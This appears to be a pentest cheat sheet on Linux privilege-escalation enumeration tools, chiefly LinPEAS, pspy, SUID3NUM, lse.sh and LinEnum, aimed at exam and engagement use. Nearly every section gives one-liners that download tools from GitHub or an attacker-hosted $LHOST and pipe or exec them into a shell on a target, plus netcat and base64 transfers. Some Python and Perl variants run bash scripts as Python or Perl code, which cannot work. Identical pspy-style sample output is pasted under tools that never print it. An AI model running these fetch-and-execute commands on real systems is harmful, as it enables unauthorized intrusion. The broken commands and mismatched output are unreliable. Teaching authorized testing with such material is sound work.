# Linux Privilege Escalation Enumeration Tools

> Covers automated enumeration tools for Linux privesc, including LinPEAS, LinEnum, and LSE to identify misconfigurations, SUID binaries, and escalation vectors.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-04-24

Automated scripts identify misconfigurations, credential leaks, and exploitable binaries. Use them early:but always verify findings manually before exploitation.

## **Getting tools onto the target**

When the target has no internet access, serve tools from your attack box and pull them down. Always set up a transfer method before running enumeration tools.

**Serve from attack box**

```bash
# On attack box
python3 -m http.server 8080

# On target: pull files down
wget http://$LHOST:8080/linpeas.sh
curl -sO http://$LHOST:8080/linpeas.sh
# Serving HTTP on 0.0.0.0 port 8080 ...
```

**Netcat transfer (no HTTP needed)**

```bash
# On target: listen and receive
nc -lvnp 4444 > linpeas.sh

# On attack box: send
nc $TARGET_IP 4444 < linpeas.sh
```

**Base64 encode/decode (fully restricted shells)**

```bash
# On attack box: encode
base64 -w 0 linpeas.sh

# On target: paste the output string, then decode
echo "PASTEBASE64HERE" | base64 -d > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
```

## **LinPEAS (recommended)**

Modern, actively maintained, and comprehensive. Start here on all engagements.

Download and run:

#### CURL

```bash
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### WGET

```bash
wget -qO- https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Fetch (FreeBSD/OpenBSD)

```bash
fetch -q -o - https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Busybox

```bash
busybox wget -O - https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Python

```bash
python3 -c 'import urllib.request as r; print(r.urlopen("https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh").read().decode())' | bash
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PERL

```bash
perl -e 'use LWP::Simple; getprint "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"' | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PHP

```bash
php -r '$f=fopen("https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh","r");while(!feof($f))echo fread($f,8192);fclose($f);' | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

**Save output for later review**

```bash
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas_out.txt
```

**Interpretation:**

- Focus on **red** and **orange** highlighted lines. Red background means critical: likely directly exploitable.
- Within red findings, prioritise in this order: `sudo` rules with `NOPASSWD`, SUID binaries in non-standard paths (`/opt`, `/usr/local`, home directories), writable cron or systemd unit files, Linux capabilities on binaries, and plaintext credentials in config files or history.
- Ignore informational blue/green output unless context suggests relevance: these are not escalation vectors on their own.

> [!NOTE]
> LinPEAS is allowed in OSCP and most exams. It does not exploit:only enumerates.

## pspy (process snooping for cron and timers)

Use this when you suspect scheduled tasks, short-lived jobs, or secrets passed on the command line. pspy can show commands executed by other users without needing root.

### Get it onto the target

On your box, download a release binary once and reuse it across engagements.

- `pspy64` / `pspy32`: static, most compatible
- `pspy64s` / `pspy32s`: smaller, depends on libc

#### 64-bit

#### CURL

```bash
curl -sL https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/p && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
curl -sL https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s -o /tmp/p && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### WGET

```bash
wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/p && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s -O /tmp/p && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Fetch (FreeBSD)

```bash
fetch -q -o /tmp/p https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
fetch -q -o /tmp/p https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### BusyBox

```bash
busybox wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/p && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
busybox wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s -O /tmp/p && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Python

```bash
python3 -c 'import urllib.request; urllib.request.urlretrieve("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64", "/tmp/p")' && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
python3 -c 'import urllib.request; urllib.request.urlretrieve("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s", "/tmp/p")' && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PERL

```bash
perl -e 'use LWP::Simple; getstore("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64", "/tmp/p")' && /tmp/p

# or smaller, depends on libc
perl -e 'use LWP::Simple; getstore("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s", "/tmp/p")' && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PHP

```bash
php -r 'copy("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64", "/tmp/p");' && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
php -r 'copy("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64s", "/tmp/p");' && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### 32-bit

#### CURL

```bash
curl -sL https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -o /tmp/p && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
curl -sL https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s -o /tmp/p && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### WGET

```bash
wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/p && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s -O /tmp/p && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Fetch (FreeBSD)

```bash
fetch -q -o /tmp/p https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
fetch -q -o /tmp/p https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### BusyBox

```bash
busybox wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/p && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
busybox wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s -O /tmp/p && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Python

```bash
python3 -c 'import urllib.request; urllib.request.urlretrieve("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32", "/tmp/p")' && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
python3 -c 'import urllib.request; urllib.request.urlretrieve("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s", "/tmp/p")' && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PERL

```bash
perl -e 'use LWP::Simple; getstore("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32", "/tmp/p")' && /tmp/p

# or smaller, depends on libc
perl -e 'use LWP::Simple; getstore("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s", "/tmp/p")' && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PHP

```bash
php -r 'copy("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32", "/tmp/p");' && chmod +x /tmp/p && /tmp/p

# or smaller, depends on libc
php -r 'copy("https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s", "/tmp/p");' && chmod +x /tmp/p && /tmp/p
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

Wait at least 2-3 minutes. Watch for `UID=0` processes firing on a regular cadence.

### Catch file events and tune scanning

If you're missing fast jobs, enable file events and slow down the proc scan to reduce noise:

```bash
/tmp/p -pf -i 1000
```

When you see root running a script or binary, immediately check whether any part of that execution path is writable by you: the script itself, any sourced config, the working directory, or any file it creates that gets executed later.

Where to go next based on what you see:

- Root running a script on a schedule → [Cron Job Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation)
- Root triggering a systemd service → [Systemd Unit and Timer Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation/systemd-unit-and-timer-privilege-escalation)
- Root calling a command without an absolute path → [Writable PATH Hijacking](https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking)
- Credentials or tokens in command-line arguments → use them immediately, then find where they are stored on disk

## **SUID3NUM (SUID-focused)**

Identifies custom SUID binaries and cross-references them with GTFOBins automatically.

Download and run:

#### CURL

```bash
curl -sL https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py -o suid3num.py && chmod +x suid3num.py && python3 suid3num.py
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### WGET

```bash
wget -q https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py -O suid3num.py && chmod +x suid3num.py && python3 suid3num.py
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Fetch (FreeBSD/OpenBSD)

```bash
fetch -q -o - https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py | python3
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### BusyBox

```bash
busybox wget -O - https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py | python3
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Python

```bash
python3 -c 'import urllib.request as r; print(r.urlopen("https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py").read().decode())' | python3
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PERL

```bash
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py", "suid3num.py")' && chmod +x suid3num.py && python3 suid3num.py
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PHP

```bash
php -r '$f=fopen("https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py","r");while(!feof($f))echo fread($f,8192);fclose($f);' | python3
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

Output includes:

- Default SUID binaries (safe, ignore)
- Custom SUID binaries (investigate)
- GTFOBins matches with exploitation commands

For the full SUID exploitation workflow including binary analysis see [SUID Binary Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation/suid-binary-privilege-escalation).

> [!WARNING]
> The `-e` auto-exploit flag modifies the system and is **not allowed in OSCP**. Use only for manual verification.

## **linux-exploit-suggester (kernel CVE matching)**

Compares kernel version and package metadata against known kernel privilege escalation CVEs. Run before attempting any kernel exploit: it narrows the candidate list significantly and avoids wasted time on patched versions.

```bash
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/les.sh
bash /tmp/les.sh
```

Always verify the specific patch level with `dpkg -l linux-image*` or `rpm -qa kernel*` before attempting any suggested exploit. Distributions backport patches without changing the version number shown by `uname -r`, so suggester output is a starting point: not a guarantee.

For the full kernel exploitation workflow see [Kernel Local Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation/kernel-local-privilege-escalation).

## [**lse.sh**](http://lse.sh)** (Linux Smart Enumeration)**

Lightweight alternative when Python is unavailable or script size matters.

Run:

#### CURL

```bash
curl -sL https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### WGET

```bash
wget -qO- https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Fetch (FreeBSD)

```bash
fetch -q -o - https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### BusyBox

```bash
busybox wget -qO- https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Python

```bash
python3 -c 'import urllib.request as r; exec(r.urlopen("https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh").read())'
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PERL

```bash
perl -e 'use LWP::Simple; eval get "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh"'
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PHP

```bash
php -r '@readfile("https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh");' | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

Focuses only on high-yield privilege escalation vectors. Output uses red/yellow/green severity tags.

Works in `ash`, `dash`, and minimal shells. Ideal for embedded or restricted targets.

Increase verbosity for more detail: `./lse.sh -l 2`

## **BeRoot**

Python tool that validates common misconfigurations with clear exploit suggestions.

Run:

```bash
git clone https://github.com/AlessandroZ/BeRoot.git
cd BeRoot/Linux
python3 beroot.py
```

Checks for:

- Abusable sudo rules
- Writable system files
- PATH hijacking
- LD_PRELOAD abuse

## **LinEnum (legacy)**

Older Bash-based enumerator. Still functional but outdated.

Run with thorough mode and keyword search:

#### CURL

```bash
curl -sL https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o LinEnum.sh && chmod +x LinEnum.sh && ./LinEnum.sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### WGET

```bash
wget -qO- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Fetch (FreeBSD/OpenBSD)

```bash
fetch -qo- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Busybox

```bash
busybox wget -qO- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Python

```bash
python3 -c 'import urllib.request as r; exec(r.urlopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh").read())'
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PERL

```bash
perl -e 'use LWP::Simple; eval get "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"'
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PHP

```bash
php -r 'readfile("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh");' | sh
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

> [!WARNING]
> LinEnum is deprecated. Last updated in 2020. Lacks coverage for capabilities, containers, systemd, and modern kernel exploits. Use only if newer tools fail to execute.

## **unix-privesc-check (minimalist)**

Single-file shell script focused on file permissions, sudoers, and process inspection. Works in restricted environments.

Run:

#### CURL

```bash
curl -sL https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check | sh -s detailed
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### WGET

```bash
wget -qO- https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check | sh -s detailed
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Fetch (FreeBSD/OpenBSD)

```bash
fetch -qo- https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check | sh -s detailed
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Busybox

```bash
busybox wget -qO- https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check | sh -s detailed
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### Python

```bash
python3 -c 'import urllib.request as r; exec(r.urlopen("https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check").read())'
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PERL

```bash
perl -e 'use LWP::Simple; eval get "https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check"'
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

#### PHP

```bash
php -r 'readfile("https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check");' | sh -s detailed
# CMD: UID=0    PID=2142 | /bin/sh -c /opt/backup.sh
# CMD: UID=0    PID=2145 | tar -czf /var/backups/site.tgz /var/www/html
```

## **checksec (binary/kernel hardening)**

Identify exploit mitigations that affect kernel or binary exploitation viability.

Install if missing:

```bash
sudo apt install checksec
```

Run full system check:

```bash
checksec --all
```

For a specific SUID binary found during enumeration, check its mitigations individually before attempting exploitation:

```bash
checksec --file=/path/to/suid-binary
checksec --kernel
```

Key outputs:

- **Kernel ASLR**, **SMAP/SMEP**, **KPTI**: determine if kernel exploits are feasible. See [Kernel Local Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation/kernel-local-privilege-escalation).
- **PIE**, **RELRO**, **Canaries**, **NX**: affect userland binary exploitation. No PIE combined with no stack canary on a custom SUID binary means a simple overflow may work without any bypass. See [SUID Binary Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation/suid-binary-privilege-escalation).

Use this to decide whether to pursue kernel exploits or focus on configuration-based escalation.

## References

- [LinPEAS GitHub](https://github.com/carlospolop/PEASS-ng) - Official releases and documentation
- [pspy GitHub](https://github.com/DominicBreuker/pspy) - Process monitoring without root for scheduler discovery
- [SUID3NUM GitHub](https://github.com/Anon-Exploiter/SUID3NUM) - Auto SUID enumeration and GTFOBins matching
- [linux-exploit-suggester GitHub](https://github.com/mzet-/linux-exploit-suggester) - Kernel vulnerability identification against running system metadata
- [lse.sh GitHub](https://github.com/diego-treitos/linux-smart-enumeration) - Lightweight privilege escalation enumeration
- [BeRoot Linux GitHub](https://github.com/AlessandroZ/BeRoot/tree/master/Linux) - Misconfiguration validator for privilege escalation
- [LinEnum GitHub](https://github.com/rebootuser/LinEnum) - Legacy Bash-based enumeration script
- [unix-privesc-check GitHub (1_x branch)](https://github.com/pentestmonkey/unix-privesc-check/tree/1_x) - Minimal shell-based privilege escalation checker
- [checksec GitHub](https://github.com/slimm609/checksec) - Binary and kernel security feature detection